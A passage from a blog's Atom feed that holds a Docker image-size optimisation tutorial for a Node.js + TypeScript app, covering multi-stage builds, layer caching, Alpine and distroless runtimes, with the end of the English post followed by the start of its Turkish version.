&lt;h2 id="step-3-the-magic-of-multi-stage-build-388-mb-198-mb"&gt;Step 3: The Magic of Multi-Stage Build (388 MB -&amp;gt; 198 MB)&lt;a class="headerlink" href="#step-3-the-magic-of-multi-stage-build-388-mb-198-mb" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;We need a ton of development dependencies (dev dependencies) to compile TypeScript, run linters, and execute tests. But we don't need any of them to get the application running on the server.&lt;/p&gt;
&lt;p&gt;This is where &lt;strong&gt;Multi-Stage Build&lt;/strong&gt; comes into play. In the first stage (builder), we compile the application, and in the second stage (runtime), we only copy the compiled files and clean libraries.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c"&gt;# ---- Builder Stage ----&lt;/span&gt;
&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;node:22-slim&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;AS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;builder&lt;/span&gt;
&lt;span class="k"&gt;WORKDIR&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;/app&lt;/span&gt;

&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;package*.json&lt;span class="w"&gt; &lt;/span&gt;./
&lt;span class="k"&gt;RUN&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;npm&lt;span class="w"&gt; &lt;/span&gt;ci

&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;.&lt;span class="w"&gt; &lt;/span&gt;.
&lt;span class="k"&gt;RUN&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;npm&lt;span class="w"&gt; &lt;/span&gt;run&lt;span class="w"&gt; &lt;/span&gt;build
&lt;span class="k"&gt;RUN&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;npm&lt;span class="w"&gt; &lt;/span&gt;prune&lt;span class="w"&gt; &lt;/span&gt;--omit&lt;span class="o"&gt;=&lt;/span&gt;dev

&lt;span class="c"&gt;# ---- Runtime Stage ----&lt;/span&gt;
&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;node:22-slim&lt;/span&gt;
&lt;span class="k"&gt;WORKDIR&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;/app&lt;/span&gt;

&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;--from&lt;span class="o"&gt;=&lt;/span&gt;builder&lt;span class="w"&gt; &lt;/span&gt;/app/node_modules&lt;span class="w"&gt; &lt;/span&gt;./node_modules
&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;--from&lt;span class="o"&gt;=&lt;/span&gt;builder&lt;span class="w"&gt; &lt;/span&gt;/app/dist&lt;span class="w"&gt; &lt;/span&gt;./dist
&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;--from&lt;span class="o"&gt;=&lt;/span&gt;builder&lt;span class="w"&gt; &lt;/span&gt;/app/package.json&lt;span class="w"&gt; &lt;/span&gt;./package.json

&lt;span class="k"&gt;EXPOSE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;3000&lt;/span&gt;
&lt;span class="k"&gt;CMD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"node"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"dist/index.js"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Here, we made two critical moves:
* Instead of &lt;code&gt;npm install&lt;/code&gt;, we used &lt;code&gt;npm ci&lt;/code&gt;. This command bases itself on the &lt;code&gt;package-lock.json&lt;/code&gt; file and provides a much faster and more consistent installation.
* After compilation, we pruned developer libraries using &lt;code&gt;npm prune --omit=dev&lt;/code&gt;. This command alone halved the size of &lt;code&gt;node_modules&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id="step-4-correctly-triggering-layer-caching-same-size-5x-faster-build"&gt;Step 4: Correctly Triggering Layer Caching (Same size, 5x faster build)&lt;a class="headerlink" href="#step-4-correctly-triggering-layer-caching-same-size-5x-faster-build" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;This step doesn't reduce image size, but it's the most critical tactic to turbocharge our CI/CD processes, my friend. Docker images are built in layers. If you write the &lt;code&gt;COPY . .&lt;/code&gt; command before the &lt;code&gt;npm ci&lt;/code&gt; command, even a single line change in your code will invalidate Docker's cache, and Docker will attempt to download hundreds of packages from scratch every time.&lt;/p&gt;
&lt;p&gt;To prevent this, as we did in the step above, we should first copy only the &lt;code&gt;package*.json&lt;/code&gt; files and install the libraries, then copy the code:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;package*.json&lt;span class="w"&gt; &lt;/span&gt;./
&lt;span class="k"&gt;RUN&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;npm&lt;span class="w"&gt; &lt;/span&gt;ci
&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;.&lt;span class="w"&gt; &lt;/span&gt;.
&lt;span class="k"&gt;RUN&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;npm&lt;span class="w"&gt; &lt;/span&gt;run&lt;span class="w"&gt; &lt;/span&gt;build
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;For our project with approximately 600 dependencies, the cold build time was 94 seconds. With this minor change in placement, when we only changed the application code, the build time dropped to 18 seconds. Calculate the time saved with every PR, every deploy!&lt;/p&gt;
&lt;h2 id="step-5-docking-at-the-alpine-port-at-runtime-198-mb-96-mb"&gt;Step 5: Docking at the Alpine Port at Runtime (198 MB -&amp;gt; 96 MB)&lt;a class="headerlink" href="#step-5-docking-at-the-alpine-port-at-runtime-198-mb-96-mb" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;We used the Debian-based &lt;code&gt;slim&lt;/code&gt; image during the build phase to avoid compatibility issues. So why not switch to Alpine for runtime? Our compiled pure JavaScript code, if it doesn't call C/C++ binaries that are specific to glibc in the background, doesn't care one bit about the operating system.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c"&gt;# ---- builder ----&lt;/span&gt;
&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;node:22-slim&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;AS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;builder&lt;/span&gt;
&lt;span class="k"&gt;WORKDIR&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;/app&lt;/span&gt;
&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;package*.json&lt;span class="w"&gt; &lt;/span&gt;./
&lt;span class="k"&gt;RUN&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;npm&lt;span class="w"&gt; &lt;/span&gt;ci
&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;.&lt;span class="w"&gt; &lt;/span&gt;.
&lt;span class="k"&gt;RUN&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;npm&lt;span class="w"&gt; &lt;/span&gt;run&lt;span class="w"&gt; &lt;/span&gt;build
&lt;span class="k"&gt;RUN&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;npm&lt;span class="w"&gt; &lt;/span&gt;prune&lt;span class="w"&gt; &lt;/span&gt;--omit&lt;span class="o"&gt;=&lt;/span&gt;dev

&lt;span class="c"&gt;# ---- runtime ----&lt;/span&gt;
&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;node:22-alpine&lt;/span&gt;
&lt;span class="k"&gt;WORKDIR&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;/app&lt;/span&gt;
&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;--from&lt;span class="o"&gt;=&lt;/span&gt;builder&lt;span class="w"&gt; &lt;/span&gt;/app/node_modules&lt;span class="w"&gt; &lt;/span&gt;./node_modules
&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;--from&lt;span class="o"&gt;=&lt;/span&gt;builder&lt;span class="w"&gt; &lt;/span&gt;/app/dist&lt;span class="w"&gt; &lt;/span&gt;./dist
&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;--from&lt;span class="o"&gt;=&lt;/span&gt;builder&lt;span class="w"&gt; &lt;/span&gt;/app/package.json&lt;span class="w"&gt; &lt;/span&gt;./package.json
&lt;span class="k"&gt;EXPOSE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;3000&lt;/span&gt;
&lt;span class="k"&gt;CMD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"node"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"dist/index.js"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;If you're using native modules and want to use Alpine at runtime, you'll need to select the &lt;code&gt;node:22-alpine&lt;/code&gt; base image in the builder phase as well and perform the compilation with commands like &lt;code&gt;apk add --no-cache python3 make g++&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id="step-6-shutting-down-the-server-the-distroless-transition-96-mb-78-mb"&gt;Step 6: Shutting Down the Server: The Distroless Transition (96 MB -&amp;gt; 78 MB)&lt;a class="headerlink" href="#step-6-shutting-down-the-server-the-distroless-transition-96-mb-78-mb" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;We've reached the pinnacle. Google's &lt;strong&gt;Distroless&lt;/strong&gt; images contain only the Node.js runner and SSL certificates. There's no shell (bash/sh), no package manager, and no tools like curl. This way, even if an attacker manages to infiltrate the container during a cyber attack, they won't find a terminal to execute commands. Naturally, the size shrinks down to 78 MB.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c"&gt;# ---- runtime ----&lt;/span&gt;
&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;gcr.io/distroless/nodejs22-debian12&lt;/span&gt;
&lt;span class="k"&gt;WORKDIR&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;/app&lt;/span&gt;
&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;--from&lt;span class="o"&gt;=&lt;/span&gt;builder&lt;span class="w"&gt; &lt;/span&gt;/app/node_modules&lt;span class="w"&gt; &lt;/span&gt;./node_modules
&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;--from&lt;span class="o"&gt;=&lt;/span&gt;builder&lt;span class="w"&gt; &lt;/span&gt;/app/dist&lt;span class="w"&gt; &lt;/span&gt;./dist
&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;--from&lt;span class="o"&gt;=&lt;/span&gt;builder&lt;span class="w"&gt; &lt;/span&gt;/app/package.json&lt;span class="w"&gt; &lt;/span&gt;./package.json
&lt;span class="k"&gt;EXPOSE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;3000&lt;/span&gt;
&lt;span class="k"&gt;CMD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"dist/index.js"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="admonition warning"&gt;
&lt;p class="admonition-title"&gt;Attention! No Shell When Using Distroless&lt;/p&gt;
&lt;p&gt;Since Distroless images do not have a shell, you cannot connect and inspect the container using &lt;code&gt;docker exec -it container sh&lt;/code&gt;. If you need to debug, you can use the version with the &lt;code&gt;:debug&lt;/code&gt; tag of the same image (this version includes a BusyBox shell). In a production environment, you should stick to the standard distroless version in compliance with security rules. Also, because there's no shell, it's mandatory to use the exec form in the &lt;code&gt;CMD&lt;/code&gt; field and provide the script path directly without writing &lt;code&gt;node&lt;/code&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;h2 id="general-evaluation-table"&gt;General Evaluation Table&lt;a class="headerlink" href="#general-evaluation-table" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Let's look at the impact of our improvements on image size collectively:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;Stage&lt;/th&gt;
&lt;th style="text-align: left;"&gt;Base Image&lt;/th&gt;
&lt;th style="text-align: left;"&gt;Image Size&lt;/th&gt;
&lt;th style="text-align: left;"&gt;Savings Ratio&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;Initial (Naive)&lt;/td&gt;
&lt;td style="text-align: left;"&gt;node:22&lt;/td&gt;
&lt;td style="text-align: left;"&gt;1.21 GB&lt;/td&gt;
&lt;td style="text-align: left;"&gt;-&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;1. Slim Base Image&lt;/td&gt;
&lt;td style="text-align: left;"&gt;node:22-slim&lt;/td&gt;
&lt;td style="text-align: left;"&gt;412 MB&lt;/td&gt;
&lt;td style="text-align: left;"&gt;%67&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;2. .dockerignore&lt;/td&gt;
&lt;td style="text-align: left;"&gt;node:22-slim&lt;/td&gt;
&lt;td style="text-align: left;"&gt;388 MB&lt;/td&gt;
&lt;td style="text-align: left;"&gt;%6&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;3. Multi-Stage + Prune&lt;/td&gt;
&lt;td style="text-align: left;"&gt;node:22-slim&lt;/td&gt;
&lt;td style="text-align: left;"&gt;198 MB&lt;/td&gt;
&lt;td style="text-align: left;"&gt;%49&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;4. Layer Caching&lt;/td&gt;
&lt;td style="text-align: left;"&gt;node:22-slim&lt;/td&gt;
&lt;td style="text-align: left;"&gt;198 MB&lt;/td&gt;
&lt;td style="text-align: left;"&gt;(Speed Gain)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;5. Alpine Runtime&lt;/td&gt;
&lt;td style="text-align: left;"&gt;node:22-alpine&lt;/td&gt;
&lt;td style="text-align: left;"&gt;96 MB&lt;/td&gt;
&lt;td style="text-align: left;"&gt;%52&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;6. Distroless Transition&lt;/td&gt;
&lt;td style="text-align: left;"&gt;distroless/nodejs22&lt;/td&gt;
&lt;td style="text-align: left;"&gt;78 MB&lt;/td&gt;
&lt;td style="text-align: left;"&gt;%19&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;At the end of the day, we achieved a &lt;strong&gt;94% reduction in size&lt;/strong&gt;, folks. The image became a full 15 times smaller.&lt;/p&gt;
&lt;h2 id="what-we-didnt-choose"&gt;What We Didn't Choose&lt;a class="headerlink" href="#what-we-didnt-choose" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;There are also methods frequently recommended on some platforms that we didn't include in our list due to increased complexity:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;docker-slim:&lt;/strong&gt; A fantastic tool that analyzes and shrinks images dynamically. However, in a production environment, it might consider a dependency in a rarely accessed code block unnecessary and delete it. Debugging live issues is no fun.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;pkg or nexe:&lt;/strong&gt; Compiles the application into a single binary. However, it freezes the Node.js version and breaks dynamic import structures. If you want static binary flexibility, you should use Go or Rust instead of Node.js.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;scratch:&lt;/strong&gt; Theoretically great, but in practice, it will lead to a week of battling SSL certificates, timezone data (tzdata), and DNS resolvers. Distroless eliminates all this hassle.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;You can also relieve your servers and speed up your CI/CD pipelines by applying these steps in your own projects.&lt;/p&gt;
&lt;p&gt;Stay healthy!&lt;/p&gt;
&lt;hr/&gt;
&lt;h3 id="other-notes-from-the-lab"&gt;🔗 Other Notes from the Lab&lt;a class="headerlink" href="#other-notes-from-the-lab" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Here are some other articles that might be useful to you while tinkering with systems, improving server performance, and lightening containers:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="/en/arch-linux-docker-kurulumu/"&gt;Docker Installation on Arch Linux &amp;ndash; Step-by-Step Guide&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/en/linux-tcp-tuning-node-js-microservices/"&gt;Linux TCP Tuning and Kernel Settings for Node.js Microservices&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/en/raspberry-pi-zero-ram-diskless-web-server/"&gt;Throw Away Your Disks: Hosting a Site on RAM with Raspberry Pi Zero&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/en/pelican-statik-site-playwright-test/"&gt;Test Your Pelican Static Site with Playwright&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="footnote"&gt;
&lt;hr/&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;Architectural differences between Musl libc and glibc can lead to unexpected errors in Node.js packages with C/C++ dependencies during compilation or at runtime.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content><category term="Sunucu"/><category term="docker"/><category term="nodejs"/><category term="typescript"/><category term="container"/><category term="devops"/><category term="sorun-giderme"/><category term="sunucu"/></entry><entry><title>Şişko Docker İmajlarına Diyet: 1.2 GB'tan 78 MB'a Yolculuk</title><link href="https://yuceltoluyag.github.io/docker-imaj-boyutu-kucultme-rehberi/" rel="alternate"/><published>2026-05-29T04:10:00+03:00</published><updated>2026-05-29T04:10:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2026-05-29:/docker-imaj-boyutu-kucultme-rehberi/</id><summary type="html">&lt;p&gt;Şişmiş Docker imajları CI/CD süreçlerini yavaşlatır ve depolama maliyetlerini artırır. Node.js + TypeScript uygulamasının imajını adım adım 78 MB'a nasıl düşürdüğümü paylaşıyorum.&lt;/p&gt;</summary><content type="html">&lt;p&gt;Kendi ev laboratuvar&amp;inodot;mda (homelab) ko&amp;scedil;turdu&amp;gbreve;um servislerin imajlar&amp;inodot;n&amp;inodot; kurcalarken fark ettim hac&amp;inodot;: Bizim emektar Node.js + TypeScript uygulamas&amp;inodot;n&amp;inodot;n Docker imaj&amp;inodot; diskte tam 1.21 GB yer kapl&amp;inodot;yor. &amp;Scedil;aka gibi, derlenmi&amp;scedil; hali topu topu 4 MB eden bir JavaScript projesi i&amp;ccedil;in sunucuda devasa bir alan harc&amp;inodot;yoruz.&lt;/p&gt;
&lt;p&gt;&amp;Scedil;i&amp;scedil;ko Docker imajlar&amp;inodot;, konteyner da&amp;gbreve;&amp;inodot;tan her ekibin sessiz sedas&amp;inodot;z &amp;ouml;dedi&amp;gbreve;i gizli bir vergidir asl&amp;inodot;nda. Yava&amp;scedil;layan CI/CD s&amp;uuml;re&amp;ccedil;leri, hantalla&amp;scedil;an deploy s&amp;uuml;releri, artan g&amp;uuml;venlik a&amp;ccedil;&amp;inodot;klar&amp;inodot; ve g&amp;uuml;n&amp;uuml;n sonunda kabaran depolama (registry) faturalar&amp;inodot;... &amp;Ccedil;o&amp;gbreve;u geli&amp;scedil;tirici bu duruma "yapacak bir &amp;scedil;ey yok, Node.js ekosistemi b&amp;ouml;yle hantal" deyip ge&amp;ccedil;iyor. Ama biz o terminalin tozunu yutmu&amp;scedil;uz karda&amp;scedil;, pes etmek bize yak&amp;inodot;&amp;scedil;maz.&lt;/p&gt;
&lt;p&gt;Birka&amp;ccedil; saatlik bir &amp;ccedil;al&amp;inodot;&amp;scedil;mayla, production ortam&amp;inodot;na g&amp;ouml;nderdi&amp;gbreve;imiz bu canavar&amp;inodot;, uygulaman&amp;inodot;n &amp;ccedil;al&amp;inodot;&amp;scedil;mas&amp;inodot;n&amp;inodot; zerre bozmadan ad&amp;inodot;m ad&amp;inodot;m 78 MB'a nas&amp;inodot;l d&amp;uuml;&amp;scedil;&amp;uuml;rd&amp;uuml;&amp;gbreve;&amp;uuml;m&amp;uuml; t&amp;uuml;m &amp;ouml;l&amp;ccedil;&amp;uuml;mleriyle birlikte &amp;scedil;uraya b&amp;inodot;rak&amp;inodot;yorum.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Docker &amp;Idot;maj Boyutunu K&amp;uuml;&amp;ccedil;&amp;uuml;ltmek" src="/images/docker-slim.png"/&gt;&lt;/p&gt;
&lt;h2 id="cks-noktas-naif-dockerfile-121-gb"&gt;&amp;Ccedil;&amp;inodot;k&amp;inodot;&amp;scedil; Noktas&amp;inodot;: Naif Dockerfile (1.21 GB)&lt;a class="headerlink" href="#cks-noktas-naif-dockerfile-121-gb" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&amp;Ccedil;o&amp;gbreve;u ekibin yazd&amp;inodot;&amp;gbreve;&amp;inodot; ilk Dockerfile budur. &amp;Ccedil;al&amp;inodot;&amp;scedil;&amp;inodot;r m&amp;inodot;? &amp;Ccedil;al&amp;inodot;&amp;scedil;&amp;inodot;r. Ama neredeyse her sat&amp;inodot;r&amp;inodot; israftan ibaret.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;node:22&lt;/span&gt;

&lt;span class="k"&gt;WORKDIR&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;/app&lt;/span&gt;
&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;.&lt;span class="w"&gt; &lt;/span&gt;.
&lt;span class="k"&gt;RUN&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;npm&lt;span class="w"&gt; &lt;/span&gt;install
&lt;span class="k"&gt;RUN&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;npm&lt;span class="w"&gt; &lt;/span&gt;run&lt;span class="w"&gt; &lt;/span&gt;build

&lt;span class="k"&gt;EXPOSE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;3000&lt;/span&gt;
&lt;span class="k"&gt;CMD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"npm"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"start"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Bunu build edip boyutuna bakt&amp;inodot;&amp;gbreve;&amp;inodot;m&amp;inodot;zda durum i&amp;ccedil;ler ac&amp;inodot;s&amp;inodot;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;yuceltoluyag@archlinux:~$&lt;span class="w"&gt; &lt;/span&gt;docker&lt;span class="w"&gt; &lt;/span&gt;build&lt;span class="w"&gt; &lt;/span&gt;-t&lt;span class="w"&gt; &lt;/span&gt;app:naive&lt;span class="w"&gt; &lt;/span&gt;.
yuceltoluyag@archlinux:~$&lt;span class="w"&gt; &lt;/span&gt;docker&lt;span class="w"&gt; &lt;/span&gt;images&lt;span class="w"&gt; &lt;/span&gt;app:naive
REPOSITORY&lt;span class="w"&gt;   &lt;/span&gt;TAG&lt;span class="w"&gt;     &lt;/span&gt;SIZE
app&lt;span class="w"&gt;          &lt;/span&gt;naive&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;.21GB
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Kollar&amp;inodot;m&amp;inodot;z&amp;inodot; s&amp;inodot;vay&amp;inodot;p i&amp;scedil;e koyulal&amp;inodot;m.&lt;/p&gt;
&lt;h2 id="1-adm-taban-imajn-degistirmek-121-gb-412-mb"&gt;1. Ad&amp;inodot;m: Taban &amp;Idot;maj&amp;inodot;n&amp;inodot; De&amp;gbreve;i&amp;scedil;tirmek (1.21 GB -&amp;gt; 412 MB)&lt;a class="headerlink" href="#1-adm-taban-imajn-degistirmek-121-gb-412-mb" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Orijinal &lt;code&gt;node:22&lt;/code&gt; etiketli imaj, Debian tabanl&amp;inodot;d&amp;inodot;r ve derleme a&amp;scedil;amas&amp;inodot;nda laz&amp;inodot;m olan ancak &amp;ccedil;al&amp;inodot;&amp;scedil;ma zaman&amp;inodot;nda (runtime) y&amp;uuml;z&amp;uuml;ne bile bakmayaca&amp;gbreve;&amp;inodot;m&amp;inodot;z tonla derleyici arac&amp;inodot; i&amp;ccedil;erir. &lt;code&gt;slim&lt;/code&gt; etiketli imaj ise bu kalabal&amp;inodot;&amp;gbreve;&amp;inodot;n b&amp;uuml;y&amp;uuml;k k&amp;inodot;sm&amp;inodot;n&amp;inodot; t&amp;inodot;rpanlar.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;&amp;Idot;maj S&amp;uuml;r&amp;uuml;m&amp;uuml;&lt;/th&gt;
&lt;th style="text-align: left;"&gt;Boyut&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;node:22&lt;/td&gt;
&lt;td style="text-align: left;"&gt;1.21 GB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;node:22-slim&lt;/td&gt;
&lt;td style="text-align: left;"&gt;412 MB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;node:22-alpine&lt;/td&gt;
&lt;td style="text-align: left;"&gt;178 MB&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Alpine s&amp;uuml;r&amp;uuml;m&amp;uuml; &amp;ccedil;ok daha k&amp;uuml;&amp;ccedil;&amp;uuml;k g&amp;ouml;r&amp;uuml;nse de musl libc kullan&amp;inodot;r. Saf JavaScript projeleri Alpine &amp;uuml;zerinde t&amp;inodot;k&amp;inodot;r t&amp;inodot;k&amp;inodot;r &amp;ccedil;al&amp;inodot;&amp;scedil;&amp;inodot;r. Ancak ba&amp;gbreve;&amp;inodot;ml&amp;inodot;l&amp;inodot;klar&amp;inodot;n&amp;inodot;z aras&amp;inodot;nda &lt;code&gt;bcrypt&lt;/code&gt;, &lt;code&gt;sharp&lt;/code&gt; gibi C/C++ ile derlenen (native) mod&amp;uuml;ller varsa musl libc ba&amp;scedil;&amp;inodot;n&amp;inodot;z&amp;inodot; a&amp;gbreve;r&amp;inodot;tabilir&lt;sup id="fnref:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;1&lt;/a&gt;&lt;/sup&gt;. Bu y&amp;uuml;zden ger&amp;ccedil;ek&amp;ccedil;i bir production ortam&amp;inodot; i&amp;ccedil;in &lt;code&gt;slim&lt;/code&gt; imaj&amp;inodot;yla yola devam etmek en g&amp;uuml;venli limand&amp;inodot;r.&lt;/p&gt;
